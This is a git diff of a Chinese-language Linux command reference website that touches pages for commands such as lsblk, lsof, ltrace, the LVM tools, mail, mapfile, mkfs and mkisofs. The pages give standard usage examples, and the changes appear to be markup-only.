    lsblk命令也可以用于列出一个特定设备的拥有关系,同时也可以列出组和模式。可以通过以下命令来获取这些信息:

    -
    lsblk -m
    +
    lsblk -m
     

    该命令也可以只获取指定设备的信息。这可以通过在提供给lsblk命令的选项后指定设备名来实现。例如,你可能对了解以字节显示你的磁盘驱动器大小比较感兴趣,那么你可以通过运行以下命令来实现:

    -
    lsblk -b /dev/sda
    +
    lsblk -b /dev/sda
     
     等价于
     
    -lsblk --bytes /dev/sda
    +lsblk --bytes /dev/sda
     

    你也可以组合几个选项来获取指定的输出。例如,你也许想要以列表格式列出设备,而不是默认的树状格式。你可能也对移除不同栏目名称的标题感兴趣。可以将两个不同的选项组合,以获得期望的输出,命令如下:

    -
    lsblk -nl
    +
    lsblk -nl
     

    要获取SCSI设备的列表,你只能使用-S选项。该选项是大写字母S,不能和-s选项混淆,该选项是用来以颠倒的顺序打印依赖的。

    -
    lsblk -S
    +
    lsblk -S
     

    lsblk列出SCSI设备,而-s是逆序选项(将设备和分区的组织关系逆转过来显示),其将给出如下输出。输入命令:

    -
    lsblk -s
    +
    lsblk -s
     
    - - + + \ No newline at end of file diff --git a/c/lscpu.html b/c/lscpu.html index 55c3e53967..1bf21a45d0 100644 --- a/c/lscpu.html +++ b/c/lscpu.html @@ -9,7 +9,7 @@ lscpu 命令,Linux lscpu 命令详解:显示有关CPU架构的信息 - Linux 命令搜索引擎 - + @@ -122,16 +122,16 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    -
     -a, --all               # 打印在线和离线CPU(默认为-e)
    - -b, --online            # 仅打印在线CPU(-p的默认值)
    - -c, --offline           # 打印离线CPU
    +
     -a, --all               # 打印在线和离线CPU(默认为-e)
    + -b, --online            # 仅打印在线CPU(-p的默认值)
    + -c, --offline           # 打印离线CPU
      -e, --extended[=<list>] # 打印出一个扩展的可读格式
      -p, --parse[=<list>]    # 打印出可解析的格式
    - -s, --sysroot <dir>     # 将指定的目录用作系统根目录
    - -x, --hex               # 打印十六进制掩码,而不是CPU列表
    + -s, --sysroot <dir>     # 将指定的目录用作系统根目录
    + -x, --hex               # 打印十六进制掩码,而不是CPU列表
     
    - -h, --help     # 显示此帮助并退出
    - -V, --version  # 输出版本信息并退出
    + -h, --help     # 显示此帮助并退出
    + -V, --version  # 输出版本信息并退出
     
    - - + + \ No newline at end of file diff --git a/c/lsmod.html b/c/lsmod.html index f51939d908..3dbe227a0b 100644 --- a/c/lsmod.html +++ b/c/lsmod.html @@ -9,7 +9,7 @@ lsmod 命令,Linux lsmod 命令详解:显示已载入系统的模块 - Linux 命令搜索引擎 - + @@ -278,7 +278,7 @@ ehci_hcd 34509 0
  • 第4列:表示依赖模块的内容。
  • 通常在使用lsmod命令时,都会采用类似lsmod | grep -i ext3这样的命令来查询当前系统是否加载了某些模块。

    - - + + \ No newline at end of file diff --git a/c/lsof.html b/c/lsof.html index ff742c1718..38c3e2004f 100644 --- a/c/lsof.html +++ b/c/lsof.html @@ -9,7 +9,7 @@ lsof 命令,Linux lsof 命令详解:显示Linux系统当前已打开的所有文件列表 `lsof -p pid` - Linux 命令搜索引擎 - + @@ -269,18 +269,18 @@ events/1 7 root cwd DIR 8,2 4096 2 /
  • REG:常规文件
  • 列出指定进程号所打开的文件:

    -
    lsof -p $pid
    +
    lsof -p $pid
     

    获取端口对应的进程ID=>pid

    -
    lsof -i:9981 -P -t -sTCP:LISTEN
    +
    lsof -i:9981 -P -t -sTCP:LISTEN
     

    列出打开文件的进程:

    lsof $filename
     
    - - + + \ No newline at end of file diff --git a/c/lspci.html b/c/lspci.html index 40db258023..c31c83d180 100644 --- a/c/lspci.html +++ b/c/lspci.html @@ -9,7 +9,7 @@ lspci 命令,Linux lspci 命令详解:显示当前主机的所有PCI总线信息 - Linux 命令搜索引擎 - + @@ -231,7 +231,7 @@ customElements.define('markdown-style', MarkdownStyle);
    - - + + \ No newline at end of file diff --git a/c/lsusb.html b/c/lsusb.html index 8f443e7702..97382ffe22 100644 --- a/c/lsusb.html +++ b/c/lsusb.html @@ -9,7 +9,7 @@ lsusb 命令,Linux lsusb 命令详解:显示本机的USB设备列表信息 - Linux 命令搜索引擎 - + @@ -174,7 +174,7 @@ Bus 002 Device 001: ID 0000:0000
  • 一个是usb根Hub -- 001 
  • 一个是usb鼠标  -- 006
  • - - + + \ No newline at end of file diff --git a/c/ltrace.html b/c/ltrace.html index c1b18cc598..1d2b0cfc83 100644 --- a/c/ltrace.html +++ b/c/ltrace.html @@ -9,7 +9,7 @@ ltrace 命令,Linux ltrace 命令详解:用来跟踪进程调用库函数的情况 - Linux 命令搜索引擎 - + @@ -122,27 +122,27 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    -
    -a 对齐具体某个列的返回值。
    --c 计算时间和调用,并在程序退出时打印摘要。
    --C 解码低级别名称(内核级)为用户级名称。
    --d 打印调试信息。
    --e 改变跟踪的事件。
    --f 跟踪子进程。
    --h 打印帮助信息。
    --i 打印指令指针,当库调用时。
    --l 只打印某个库中的调用。
    --L 不打印库调用。
    --n, --indent=NR 对每个调用级别嵌套以NR个空格进行缩进输出。
    --o, --output=file 把输出定向到文件。
    --p PID 附着在值为PID的进程号上进行ltrace。
    --r 打印相对时间戳。
    --s STRLEN 设置打印的字符串最大长度。
    --S 显示系统调用。
    --t, -tt, -ttt 打印绝对时间戳。
    --T 输出每个调用过程的时间开销。
    --u USERNAME 使用某个用户id或组ID来运行命令。
    --V, --version 打印版本信息,然后退出。
    --x NAME treat the global NAME like a library subroutine.(求翻译)
    +
    -a 对齐具体某个列的返回值。
    +-c 计算时间和调用,并在程序退出时打印摘要。
    +-C 解码低级别名称(内核级)为用户级名称。
    +-d 打印调试信息。
    +-e 改变跟踪的事件。
    +-f 跟踪子进程。
    +-h 打印帮助信息。
    +-i 打印指令指针,当库调用时。
    +-l 只打印某个库中的调用。
    +-L 不打印库调用。
    +-n, --indent=NR 对每个调用级别嵌套以NR个空格进行缩进输出。
    +-o, --output=file 把输出定向到文件。
    +-p PID 附着在值为PID的进程号上进行ltrace。
    +-r 打印相对时间戳。
    +-s STRLEN 设置打印的字符串最大长度。
    +-S 显示系统调用。
    +-t, -tt, -ttt 打印绝对时间戳。
    +-T 输出每个调用过程的时间开销。
    +-u USERNAME 使用某个用户id或组ID来运行命令。
    +-V, --version 打印版本信息,然后退出。
    +-x NAME treat the global NAME like a library subroutine.(求翻译)
     

    输出调用时间开销:

    -
    [guest@localhost tmp]$ ltrace -T ./a.out
    +
    [guest@localhost tmp]$ ltrace -T ./a.out
     __libc_start_main(0x80484aa, 1, 0xbf81d394, 0x8048550, 0x8048540 <unfinished ...>
     printf("no1:%d \t no2:%d \t diff:%d\n", 10, 6, 4no1:10 no2:6 diff:4 ) = 24 <0.000972>
     printf("no1:%d \t no2:%d \t diff:%d\n", 9, 7, 2no1:9 no2:7 diff:2 ) = 23 <0.000155>
    @@ -199,7 +199,7 @@ printf("no1:%d \t no2:%d \t diff:%d\n", 8, 8, 0no1:8 no2:8 diff:0 ) =
     +++ killed by SIGFPE +++
     " class="copied">

    显示系统调用:

    -
    [guest@localhost tmp]$ ltrace -S ./a.out
    +
    [guest@localhost tmp]$ ltrace -S ./a.out
     SYS_brk(NULL) = 0x9e20000
     SYS_access(0xa4710f, 4, 0xa4afc0, 0, 0xa4b644) = 0
     SYS_open("/etc/ld.so.preload", 0, 02) = 3
    @@ -228,7 +228,7 @@ SYS_mmap2(0, 5544, 5, 2050, 3) = 0x423000
     SYS_mmap2(0x424000, 4096, 3, 2066, 3) = 0x424000
     .............省去若干行
     " class="copied">
    - - + + \ No newline at end of file diff --git a/c/lvcreate.html b/c/lvcreate.html index 954a13adb8..c2fa497a11 100644 --- a/c/lvcreate.html +++ b/c/lvcreate.html @@ -9,7 +9,7 @@ lvcreate 命令,Linux lvcreate 命令详解:用于创建LVM的逻辑卷 - Linux 命令搜索引擎 - + @@ -139,7 +139,7 @@ customElements.define('markdown-style', MarkdownStyle);

    说明:创建成功后,新的逻辑卷"lvol0",将通过设备文件/dev/vg1000/lvol0进行访问。

    - - + + \ No newline at end of file diff --git a/c/lvdisplay.html b/c/lvdisplay.html index cd9f80d3d5..715bca294f 100644 --- a/c/lvdisplay.html +++ b/c/lvdisplay.html @@ -9,7 +9,7 @@ lvdisplay 命令,Linux lvdisplay 命令详解:显示逻辑卷属性 - Linux 命令搜索引擎 - + @@ -138,7 +138,7 @@ customElements.define('markdown-style', MarkdownStyle);
    - - + + \ No newline at end of file diff --git a/c/lvextend.html b/c/lvextend.html index c2f7ec691a..55cd5e57d3 100644 --- a/c/lvextend.html +++ b/c/lvextend.html @@ -9,7 +9,7 @@ lvextend 命令,Linux lvextend 命令详解:扩展逻辑卷空间 - Linux 命令搜索引擎 - + @@ -140,7 +140,7 @@ customElements.define('markdown-style', MarkdownStyle);
    - - + + \ No newline at end of file diff --git a/c/lvreduce.html b/c/lvreduce.html index d7f23babc2..becdbb40b6 100644 --- a/c/lvreduce.html +++ b/c/lvreduce.html @@ -9,7 +9,7 @@ lvreduce 命令,Linux lvreduce 命令详解:收缩逻辑卷空间 - Linux 命令搜索引擎 - + @@ -144,7 +144,7 @@ Do you really want to reduce lvol0? [y/n]: y #确认操作 Reducing logical volume lvol0 to 252.00 MB Logical volume lvol0 successfully resized " class="copied">
    - - + + \ No newline at end of file diff --git a/c/lvremove.html b/c/lvremove.html index 710f790229..44cfe4f082 100644 --- a/c/lvremove.html +++ b/c/lvremove.html @@ -9,7 +9,7 @@ lvremove 命令,Linux lvremove 命令详解:删除指定LVM逻辑卷 - Linux 命令搜索引擎 - + @@ -140,7 +140,7 @@ customElements.define('markdown-style', MarkdownStyle);
    - - + + \ No newline at end of file diff --git a/c/lvresize.html b/c/lvresize.html index 4976ec721c..33d3ffbd94 100644 --- a/c/lvresize.html +++ b/c/lvresize.html @@ -9,7 +9,7 @@ lvresize 命令,Linux lvresize 命令详解:调整逻辑卷空间大小 - Linux 命令搜索引擎 - + @@ -140,7 +140,7 @@ customElements.define('markdown-style', MarkdownStyle);
    - - + + \ No newline at end of file diff --git a/c/lvscan.html b/c/lvscan.html index 68beae6239..fb59654ceb 100644 --- a/c/lvscan.html +++ b/c/lvscan.html @@ -9,7 +9,7 @@ lvscan 命令,Linux lvscan 命令详解:扫描逻辑卷 - Linux 命令搜索引擎 - + @@ -134,7 +134,7 @@ customElements.define('markdown-style', MarkdownStyle);ACTIVE '/dev/vg1000/lvol0' [200.00 MB] inherit
    - - + + \ No newline at end of file diff --git a/c/lynx.html b/c/lynx.html index e11b04c933..5a0a58d2e8 100644 --- a/c/lynx.html +++ b/c/lynx.html @@ -9,7 +9,7 @@ lynx 命令,Linux lynx 命令详解:纯文本模式的网页浏览器 - Linux 命令搜索引擎 - + @@ -270,7 +270,7 @@ Ctrl+t:跟踪模式的切换开关。 Ctrl+k:调用 Cookie Jar 页。 数字键:到后面的第 n 个链接。 " class="copied">
    - - + + \ No newline at end of file diff --git a/c/mail.html b/c/mail.html index 9176263c29..e607b3845c 100644 --- a/c/mail.html +++ b/c/mail.html @@ -9,7 +9,7 @@ mail 命令,Linux mail 命令详解:命令行下发送和接收电子邮件 - Linux 命令搜索引擎 - + @@ -147,7 +147,7 @@ customElements.define('markdown-style', MarkdownStyle);邮件地址:收信人的电子邮箱地址。

    实例

    直接使用shell当编辑器

    -
    mail -s "Hello from jsdig.com by shell" admin@jsdig.com
    +
    mail -s "Hello from jsdig.com by shell" admin@jsdig.com
     hello,this is the content of mail.
     welcome to www.jsdig.com
     

    第一行是输入的命令,-s表示邮件的主题,后面的admin@jsdig.com则是邮件的接收人,输入完这行命令后回车,会进入邮件正文的编写,我们可以输入任何文字,比如上面的两行。当邮件正文输入完成后,需要按 CTRL+D 结束输入,此时会提示你输入Cc地址,即邮件抄送地址,没有直接回车就完成了邮件的发送。

    使用管道进行邮件发送

    -
    echo "hello,this is the content of mail.welcome to www.jsdig.com" | mail -s "Hello from jsdig.com by pipe" admin@jsdig.com
    +
    echo "hello,this is the content of mail.welcome to www.jsdig.com" | mail -s "Hello from jsdig.com by pipe" admin@jsdig.com
     

    使用管道直接敲入这行命令即可完成邮件的发送,其中echo后的是邮件正文。

    使用文件进行邮件发送

    -
    mail -s "Hello from jsdig.com by file" admin@jsdig.com < mail.txt
    +
    mail -s "Hello from jsdig.com by file" admin@jsdig.com < mail.txt
     

    使用上面的命令后,我们就可以把mail.txt文件的内容作为邮件的内容发送给admin@jsdig.com了。

    使用上述三种方式都可以给外部邮箱进行邮件发送,但因为前面2中都是直接在shell中敲入邮件内容,因此无法输入中文,即使我们使用粘贴的方式输入了中文,那么收到的邮件也是乱码的。但第3种方式,我们可以在window下编辑好邮件内容后,放到linux下,再进行发送,这样就可以正常发送中文了。不过目前邮件的中文标题暂时没有找到解决办法。

    因为mail程序本身就是调用sendmail来进行邮件发送的,因此我们可以在mail命令中使用sendmail的参数进行配置,比如我想使用特定的发件人发送邮件,可以使用如下命令:

    -
    mail -s "Hello from jsdig.com with sender" admin@jsdig.com -- -f user@jsdig.com<mail.txt
    +
    mail -s "Hello from jsdig.com with sender" admin@jsdig.com -- -f user@jsdig.com<mail.txt
     

    上面的命令中,我们使用了– -f user@jsdig.com这样的参数,这是sendmail的选项,其中-f表示邮件的发送人邮件地址。

    @@ -176,12 +176,12 @@ welcome to www.jsdig.com

    安装完成后我们就可以来进行附件的发送了,使用如下命令:

    -
    uuencode test.txt test | mail -s "hello,see the attachement" admin@jsdig.com<mail.txt
    +
    uuencode test.txt test | mail -s "hello,see the attachement" admin@jsdig.com<mail.txt
     

    完成后就可以把text.txt文件作为邮件的附件发送出去了。uuencode有两个参数,第一个是要发送的文件,第二个是显示的文件名称。

    这里我主要介绍的是在CentOS下使用mail发送电子邮件的一些使用方法,需要的要求是你的linux必须安装了sendmail并开启了,同时保证可以连接外网。另外,文章中提到的命令本人都经过亲自测试,保证完全可用,不过你需要将命令中的电子邮件地址换成自己的电子邮件地址。

    - - + + \ No newline at end of file diff --git a/c/mailq.html b/c/mailq.html index 597cc2c238..9e7b45b1a4 100644 --- a/c/mailq.html +++ b/c/mailq.html @@ -9,7 +9,7 @@ mailq 命令,Linux mailq 命令详解:显示待发送的邮件队列 - Linux 命令搜索引擎 - + @@ -133,7 +133,7 @@ customElements.define('markdown-style', MarkdownStyle);
    - - + + \ No newline at end of file diff --git a/c/mailstat.html b/c/mailstat.html index 93b56b9085..4c0b97b7c1 100644 --- a/c/mailstat.html +++ b/c/mailstat.html @@ -9,7 +9,7 @@ mailstat 命令,Linux mailstat 命令详解:显示到达的邮件状态 - Linux 命令搜索引擎 - + @@ -137,7 +137,7 @@ customElements.define('markdown-style', MarkdownStyle);

    参数

    邮件日志文件:指定要读取邮件日志文件。

    - - + + \ No newline at end of file diff --git a/c/make.html b/c/make.html index a524b18233..4b5c6be63d 100644 --- a/c/make.html +++ b/c/make.html @@ -9,7 +9,7 @@ make 命令,Linux make 命令详解:GNU的工程化编译工具 - Linux 命令搜索引擎 - + @@ -142,8 +142,8 @@ customElements.define('markdown-style', MarkdownStyle);

    Linux下常用选项与Unix系统中稍有不同,下面是不同的部分:

    -
    -c dir:在读取 makefile 之前改变到指定的目录dir;
    --I dir:当包含其他 makefile文件时,利用该选项指定搜索目录;
    +
    -c dir:在读取 makefile 之前改变到指定的目录dir;
    +-I dir:当包含其他 makefile文件时,利用该选项指定搜索目录;
     -h:help文挡,显示所有的make选项;
     -w:在处理 makefile 之前和之后,都显示工作目录。
     
    0&&document.getSelection().getRangeAt(0);o.select();let c=!1;try{c=!!document.execCommand("copy")}catch(e){c=!1}document.body.removeChild(o),n&&document.getSelection&&(document.getSelection().removeAllRanges(),document.getSelection().addRange(n)),t&&t(c)}})); @@ -228,7 +228,7 @@ function copied(target, str) { 581 个Linux命令,超过 50+ 贡献者
    - - + + \ No newline at end of file diff --git a/c/man.html b/c/man.html index 85adf9b3b2..7629e7e120 100644 --- a/c/man.html +++ b/c/man.html @@ -9,7 +9,7 @@ man 命令,Linux man 命令详解:查看Linux中的指令帮助 - Linux 命令搜索引擎 - + @@ -176,7 +176,7 @@ customElements.define('markdown-style', MarkdownStyle); - - + + \ No newline at end of file diff --git a/c/mapfile.html b/c/mapfile.html index 32b3cb6685..fb2f791963 100644 --- a/c/mapfile.html +++ b/c/mapfile.html @@ -9,7 +9,7 @@ mapfile 命令,Linux mapfile 命令详解:从标准输入读取行并赋值到数组。 - Linux 命令搜索引擎 - + @@ -124,14 +124,14 @@ customElements.define('markdown-style', MarkdownStyle);从标准输入或文件描述符读取行并赋值到数组。

    选项

    -
    -d delim       将delim设为行分隔符,代替默认的换行符。
    --n count       从标准输入中获取最多count行,如果count为零那么获取全部。
    --O origin      从数组下标为origin的位置开始赋值,默认的下标为0。
    --s count       跳过对前count行的读取。
    --t             读取时移除行分隔符delim(默认为换行符)。
    --u fd          从文件描述符fd中读取。
    --C callback    每当读取了quantum行时,调用callback语句。
    --c quantum     设定读取的行数为quantum。
    +
    -d delim       将delim设为行分隔符,代替默认的换行符。
    +-n count       从标准输入中获取最多count行,如果count为零那么获取全部。
    +-O origin      从数组下标为origin的位置开始赋值,默认的下标为0。
    +-s count       跳过对前count行的读取。
    +-t             读取时移除行分隔符delim(默认为换行符)。
    +-u fd          从文件描述符fd中读取。
    +-C callback    每当读取了quantum行时,调用callback语句。
    +-c quantum     设定读取的行数为quantum。
     
     如果使用-C时没有同时使用-c指定quantum的值,那么quantum默认为5000。
     当callback语句执行时,将数组下一个要赋值的下标以及读取的行作为额外的参数传递给callback语句。
    @@ -157,30 +157,30 @@ customElements.define('markdown-style', MarkdownStyle);# 常见的读取形式。
     mapfile < source_file target_array
     cat source_file |mapfile target_array
    -mapfile -u fd target_array
    +mapfile -u fd target_array
     
     # 只读取前5行。
    -mapfile < source_file -n 5 target_array
    +mapfile < source_file -n 5 target_array
     
     # 跳过前5行。
    -mapfile < source_file -s 5 target_array
    +mapfile < source_file -s 5 target_array
     
     # 在数组指定的下标开始赋值。
     # 请注意:这样做不会清空该数组。
    -mapfile < source_file -O 2 target_array
    +mapfile < source_file -O 2 target_array
     
     # 读取时设定行分隔符为tab。
     # 注意,第二行的tab在终端需要用ctrl+v tab输入;
    -mapfile < source_file -d $'\t' target_array
    -mapfile < source_file -d '	' target_array
    +mapfile < source_file -d $'\t' target_array
    +mapfile < source_file -d '	' target_array
     
     # 读取时移除行分隔符(tab)。
    -mapfile < source_file -d $'\t' -t target_array
    +mapfile < source_file -d $'\t' -t target_array
     # 读取时移除行分隔符(换行符)。
    -mapfile < source_file -t target_array
    +mapfile < source_file -t target_array
     
     # 每读取2行,执行一次语句(在这里是echo)。
    -mapfile < source_file -C "echo CALLBACK:" -c 2 target_array
    +mapfile < source_file -C "echo CALLBACK:" -c 2 target_array
     
     # 遍历下标,依次显示数组的元素。
     for i in ${!target_array[@]}; do
    @@ -224,7 +224,7 @@ done
       
  • 该命令是bash内建命令,相关的帮助信息请查看help命令。
  • bash内建命令readarray是mapfile的同义词。
  • - - + + \ No newline at end of file diff --git a/c/md5sum.html b/c/md5sum.html index c0c2f5c194..f8fb1c6011 100644 --- a/c/md5sum.html +++ b/c/md5sum.html @@ -9,7 +9,7 @@ md5sum 命令,Linux md5sum 命令详解:计算和校验文件报文摘要的工具程序 - Linux 命令搜索引擎 - + @@ -156,7 +156,7 @@ bcda6cb5c704664f989703ac5a88f112 insert.sql

    检查:

    -
    md5sum testfile -c testfile.md5
    +
    md5sum testfile -c testfile.md5
     

    如果文件没有变化,输出应该如下:

    @@ -173,7 +173,7 @@ md5sum: WARNING: 1 of 1 computed checksum did NOT match

    此时,md5sum命令返回非0。

    这里,检查用的文件名随意。如果不想有任何输出,则md5sum testfile --status -c testfile.md5,这时候通过返回值来检测结果。

    检测的时候如果检测文件非法则输出信息的选项:

    -
    md5sum -w -c testfile.md5
    +
    md5sum -w -c testfile.md5
     

    输出之后,文件异常输出类似如下:

    @@ -183,7 +183,7 @@ md5sum: WARNING: 1 of 1 computed checksum did NOT match md5sum: testfile.md5: no properly formatted MD5 checksum lines found " class="copied">

    这里,testfile.md5只有一行信息,但是我认为地给它多加了一个字符,导致非法。如果md5文件正常那么-w有没有都一样。

    - - + + \ No newline at end of file diff --git a/c/mesg.html b/c/mesg.html index af9b0b54a7..07a5c8de47 100644 --- a/c/mesg.html +++ b/c/mesg.html @@ -9,7 +9,7 @@ mesg 命令,Linux mesg 命令详解:设置当前终端的写权限 - Linux 命令搜索引擎 - + @@ -129,7 +129,7 @@ customElements.define('markdown-style', MarkdownStyle);
    - - + + \ No newline at end of file diff --git a/c/mii-tool.html b/c/mii-tool.html index 55cd14b6ec..b7c4424bc2 100644 --- a/c/mii-tool.html +++ b/c/mii-tool.html @@ -9,7 +9,7 @@ mii-tool 命令,Linux mii-tool 命令详解:配置网络设备协商方式的工具 - Linux 命令搜索引擎 - + @@ -118,18 +118,18 @@ customElements.define('markdown-style', MarkdownStyle);补充说明

    mii-tool命令 是用于查看、管理介质的网络接口的状态,有时网卡需要配置协商方式,比如10/100/1000M的网卡半双工、全双工、自动协商的配置。但大多数的网络设备是不用我们来修改协商,因为大多数网络设置接入的时候,都采用自动协商来解决相互通信的问题。不过自动协商也不是万能的,有时也会出现错误,比如丢包率比较高,这时就要我们来指定网卡的协商方式。mii-tool就是能指定网卡的协商方式。下面我们说一说mii-tool的用法。

    语法

    -
    usage: mii-tool [-VvRrwl] [-A media,... | -F media] [interface ...]
    +
    usage: mii-tool [-VvRrwl] [-A media,... | -F media] [interface ...]
     

    选项

    -
    -V 显示版本信息;
    --v 显示网络接口的信息;
    --R 重设MII到开启状态;
    --r 重启自动协商模式;
    --w 查看网络接口连接的状态变化;
    --l 写入事件到系统日志;
    --A 指令特定的网络接口;
    --F 更改网络接口协商方式;
    +
    -V 显示版本信息;
    +-v 显示网络接口的信息;
    +-R 重设MII到开启状态;
    +-r 重启自动协商模式;
    +-w 查看网络接口连接的状态变化;
    +-l 写入事件到系统日志;
    +-A 指令特定的网络接口;
    +-F 更改网络接口协商方式;
     
     media: 100baseT4, 100baseTx-FD, 100baseTx-HD, 10baseT-FD, 10baseT-HD,
             (to advertise both HD and FD) 100baseTx, 10baseT
    @@ -189,7 +189,7 @@ eth0: 100 Mbit, full duplex, link ok
     
    [root@localhost ~]# ethtool -s eth0 speed 100 duplex full
     
    - - + + \ No newline at end of file diff --git a/c/mkbootdisk.html b/c/mkbootdisk.html index f576a228d2..e3ca016eba 100644 --- a/c/mkbootdisk.html +++ b/c/mkbootdisk.html @@ -9,7 +9,7 @@ mkbootdisk 命令,Linux mkbootdisk 命令详解:可建立目前系统的启动盘 - Linux 命令搜索引擎 - + @@ -136,14 +136,14 @@ customElements.define('markdown-style', MarkdownStyle);参数

    内核:指定内核版本。

    实例

    -
    mkbootdisk --device /dev/fd0 `uname -r`
    +
    mkbootdisk --device /dev/fd0 `uname -r`
     

    其中,uname -r是目前Linux 系统所使用的核心版本,如果你有多个核心版本的话,你以可以直接输入核心版本。例如在这个网页中所使用的核心有两个版本,一个是2.2.12-20,另一个是2.2.18,若要以2.2.18设定开机的话,可以使用:

    -
    mkbootdisk --device /dev/fd0 2.2.18
    +
    mkbootdisk --device /dev/fd0 2.2.18
     
    - - + + \ No newline at end of file diff --git a/c/mkdir.html b/c/mkdir.html index 7e0736a1d9..968f4ba8d6 100644 --- a/c/mkdir.html +++ b/c/mkdir.html @@ -9,7 +9,7 @@ mkdir 命令,Linux mkdir 命令详解:用来创建目录 - Linux 命令搜索引擎 - + @@ -127,7 +127,7 @@ customElements.define('markdown-style', MarkdownStyle);-Z:设置安全上下文,当使用SELinux时有效; -m<目标属性>或--mode<目标属性>建立目录的同时设置目录的权限; -p或--parents 若所要建立目录的上层目录目前尚未建立,则会一并建立上层目录; ---version 显示版本信息。 +--version 显示版本信息。
    实例

    在目录/usr/meng下建立子目录test,并且只有文件主有读、写和执行权限,其他人无权访问

    -
    mkdir -m 700 /usr/meng/test
    +
    mkdir -m 700 /usr/meng/test
     

    在当前目录中建立bin和bin下的os_1目录,权限设置为文件主可读、写、执行,同组用户可读和执行,其他用户无权访问

    mkdir -p-m 750 bin/os_1
     
    - - + + \ No newline at end of file diff --git a/c/mke2fs.html b/c/mke2fs.html index b40c7922c5..3711b741e0 100644 --- a/c/mke2fs.html +++ b/c/mke2fs.html @@ -9,7 +9,7 @@ mke2fs 命令,Linux mke2fs 命令详解:创建磁盘分区上的“etc2/etc3”文件系统 - Linux 命令搜索引擎 - + @@ -134,7 +134,7 @@ customElements.define('markdown-style', MarkdownStyle);-M:记录最后一次挂入的目录; -q:执行时不显示任何信息; -r:指定要建立的ext2文件系统版本; --R=<区块数>:设置磁盘阵列参数; +-R=<区块数>:设置磁盘阵列参数; -S:仅写入superblock与group descriptors,而不更改inode able inode bitmap以及block bitmap; -v:执行时显示详细信息; -V:显示版本信息。 @@ -162,10 +162,10 @@ customElements.define('markdown-style', MarkdownStyle);

    实例

    创建指定的ext2文件系统。

    -
    mke2fs -q /dev/hda1
    +
    mke2fs -q /dev/hda1
     
    - - + + \ No newline at end of file diff --git a/c/mkfs.html b/c/mkfs.html index b0340c903b..05c3dadfc7 100644 --- a/c/mkfs.html +++ b/c/mkfs.html @@ -9,7 +9,7 @@ mkfs 命令,Linux mkfs 命令详解:用于在设备上创建Linux文件系统 - Linux 命令搜索引擎 - + @@ -140,16 +140,16 @@ customElements.define('markdown-style', MarkdownStyle);

    实例

    /dev/hda5上建一个msdos的档案系统,同时检查是否有坏轨存在,并且将过程详细列出来:

    -
    mkfs -V -t msdos -c /dev/hda5
    +
    mkfs -V -t msdos -c /dev/hda5
     
    -mkfs -t ext3 /dev/sda6     //将sda6分区格式化为ext3格式
    -mkfs -t ext2 /dev/sda7     //将sda7分区格式化为ext2格式
    +mkfs -t ext3 /dev/sda6     //将sda6分区格式化为ext3格式
    +mkfs -t ext2 /dev/sda7     //将sda7分区格式化为ext2格式
     
    - - + + \ No newline at end of file diff --git a/c/mkinitrd.html b/c/mkinitrd.html index 707e3da066..6aa31be2c7 100644 --- a/c/mkinitrd.html +++ b/c/mkinitrd.html @@ -9,7 +9,7 @@ mkinitrd 命令,Linux mkinitrd 命令详解:建立要载入ramdisk的映像文件 - Linux 命令搜索引擎 - + @@ -126,8 +126,8 @@ customElements.define('markdown-style', MarkdownStyle);-f:若指定的映像问家名称与现有文件重复,则覆盖现有的文件; -v:执行时显示详细的信息; --omit-scsi-modules:不要载入SCSI模块; ---preload=<模块名称>:指定要载入的模块; ---with=<模块名称>:指定要载入的模块; +--preload=<模块名称>:指定要载入的模块; +--with=<模块名称>:指定要载入的模块; --version:显示版本信息。
    - - + + \ No newline at end of file diff --git a/c/mkisofs.html b/c/mkisofs.html index b9c08f361e..fd8ee47202 100644 --- a/c/mkisofs.html +++ b/c/mkisofs.html @@ -9,7 +9,7 @@ mkisofs 命令,Linux mkisofs 命令详解:建立ISO 9660映像文件 - Linux 命令搜索引擎 - + @@ -198,19 +198,19 @@ customElements.define('markdown-style', MarkdownStyle);实例

    linux中用mkisofs命令把文件制作成ISO步骤:

    把NFS服务器上的目录挂载到本地/mnt/nfs/的目录:

    -
    mount -t nfs 10.0.2.2:/linuxos/rhel4.0_update3/ /mnt/nfs/
    +
    mount -t nfs 10.0.2.2:/linuxos/rhel4.0_update3/ /mnt/nfs/
     

    把已挂载的文件复制到本地:

    -
    cp -a /mnt/NFS/* /root/Decp -a /mnt/nfs/* /root/Desktop/rhel4.0/&sktop/rhel4.0/&
    +
    cp -a /mnt/NFS/* /root/Decp -a /mnt/nfs/* /root/Desktop/rhel4.0/&sktop/rhel4.0/&
     

    查找boot.cat文件并删除掉:

    -
    find rhel4.0/ -name boot.cat | xargs rm
    +
    find rhel4.0/ -name boot.cat | xargs rm
     

    查找TRANS.TBL文件并删除掉:

    -
    find rhel4.0/ -name TRANS.TBL -exec rm {} \;
    +
    find rhel4.0/ -name TRANS.TBL -exec rm {} \;
     

    复制本地的所需文件到指定目录:

    @@ -218,10 +218,10 @@ customElements.define('markdown-style', MarkdownStyle);

    把指定目录下的所有文件制作成ISO文件:

    -
    mkisofs -R -J -T -v -no-emul-boot -boot-load-size 4 -boot-info-table -V RHEL4ASDVD -b isolinux/isolinux.bin -c isolinux/boot.cat -o /RHEL4AS.iso rhel4.0/
    +
    mkisofs -R -J -T -v -no-emul-boot -boot-load-size 4 -boot-info-table -V RHEL4ASDVD -b isolinux/isolinux.bin -c isolinux/boot.cat -o /RHEL4AS.iso rhel4.0/
     
    - - + + \ No newline at end of file diff --git a/c/mknod.html b/c/mknod.html index c82fe0cee2..2d111e9097 100644 --- a/c/mknod.html +++ b/c/mknod.html @@ -9,7 +9,7 @@ mknod 命令,Linux mknod 命令详解:创建字符设备文件和块设备文件 - Linux 命令搜索引擎 - + @@ -139,7 +139,7 @@ customElements.define('markdown-style', MarkdownStyle);次设备号:指定设备文件的次设备号。

    实例

    -
    ls -la /dev/ttyUSB*
    +
    ls -la /dev/ttyUSB*
     crw-rw—- 1 root dialout 188, 0 2008-02-13 18:32 /dev/ttyUSB0
     mknod /dev/ttyUSB32 c 188 32
     
    0&&document.getSelection().getRangeAt(0);o.select();let c=!1;try{c=!!document.execCommand("copy")}catch(e){c=!1}document.body.removeChild(o),n&&document.getSelection&&(document.getSelection().removeAllRanges(),document.getSelection().addRange(n)),t&&t(c)}})); @@ -222,7 +222,7 @@ function copied(target, str) { 581 个Linux命令,超过 50+ 贡献者
